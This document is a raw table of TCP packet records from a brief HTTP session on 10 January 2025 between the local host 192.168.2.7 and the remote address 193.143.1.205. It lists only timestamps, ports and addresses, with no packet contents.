Jan 10, 2025 17:10:54.795445919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795461893 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795463085 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795480013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795485973 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795490980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795500040 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795505047 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795523882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795531988 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795536041 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795547962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795562029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795571089 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795572996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795598030 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795623064 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795725107 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795773983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795784950 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795810938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795814037 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795852900 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795882940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795895100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795907021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795922995 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795938969 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795944929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795954943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795965910 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795974970 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795977116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796000957 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796026945 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796029091 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796040058 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796056986 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796068907 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796073914 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796082020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796092987 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796103954 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796113014 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796116114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796128988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796130896 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796140909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796152115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796153069 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796169996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796174049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796207905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796219110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796228886 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796236992 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796247005 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796250105 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796261072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796272039 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796282053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796293020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796298027 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796324968 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796336889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796349049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796360016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796370029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796380043 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796380997 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796395063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796411991 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796416998 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796423912 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796437025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796443939 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796447992 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796458006 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796458960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796471119 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796483040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796488047 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796495914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796506882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796516895 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796521902 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796540022 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796560049 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796576023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796587944 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796598911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796611071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.796621084 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.796646118 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.799746990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.799762964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.799776077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.799788952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.799824953 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.799860001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.823359966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823400021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823443890 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.823446989 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823494911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823528051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823535919 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.823556900 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823606014 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.823610067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823642015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823673964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823685884 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.823704004 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823734045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.823748112 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.824052095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824079990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824099064 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.824119091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824160099 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.824165106 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824198008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824229002 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824239016 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.824259043 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824290037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.824295998 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.857601881 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.857634068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.857649088 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.857651949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.857665062 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.857676983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.857693911 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.857695103 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.857708931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.857719898 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.857760906 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.857937098 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.858004093 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.858021975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.858036041 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.858043909 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.858047962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.858061075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.858068943 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.858087063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.858097076 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.886998892 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887054920 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887068987 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887083054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887094021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887089968 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887106895 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887120008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887131929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887187004 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887187004 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887283087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887348890 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887361050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887367964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887373924 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887378931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887392998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887398958 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887423038 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887453079 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887728930 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887754917 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887768030 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887794018 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887819052 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887830973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887844086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887855053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887881994 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887893915 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887907028 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887907982 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887923002 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887950897 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887952089 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.887958050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887972116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887984037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.887996912 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888003111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888016939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888030052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888029099 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888044119 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888055086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888056040 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888075113 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888083935 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888088942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888103008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888114929 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888118029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888132095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888143063 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888144970 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888164043 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888169050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888178110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888195038 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888200998 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888209105 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888226986 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888236046 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888238907 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888304949 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888313055 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888325930 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888339043 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888361931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888374090 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888390064 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888391018 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888431072 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888453007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888472080 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888484001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888494968 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888508081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888513088 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888516903 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888524055 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888530016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888542891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888555050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888571024 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888592958 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888596058 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888607979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888613939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888618946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888624907 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888637066 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.888665915 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.888693094 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892118931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892148972 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892168045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892179966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892187119 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892193079 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892199039 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892204046 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892227888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892241955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892254114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892257929 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892267942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892281055 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892282963 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892292976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892303944 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892307997 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892321110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892333031 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892343998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892347097 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892355919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892369032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892380953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.892427921 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892427921 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892427921 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.892575026 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.915817976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915895939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915909052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915920973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915935040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915947914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915946960 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.915960073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915973902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.915982008 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.916007996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.916337967 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.916398048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.916409969 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.916438103 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.962152958 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.972678900 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.977514029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.977547884 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.977560997 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.977586031 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.979090929 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.983968973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984006882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984024048 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984028101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984040976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984054089 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984061003 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984066010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984095097 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984148979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984162092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984173059 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984191895 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984220028 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984230042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984241962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984258890 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984271049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984292030 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984307051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984314919 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984318972 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984332085 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984354019 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984404087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984415054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984426975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984437943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984438896 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984451056 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984456062 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984472990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984484911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984491110 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984498978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984509945 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984527111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984528065 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984539032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984539986 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984554052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984565973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.984586954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.984611034 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:55.326910019 CET	49702	80	192.168.2.7	193.143.1.205
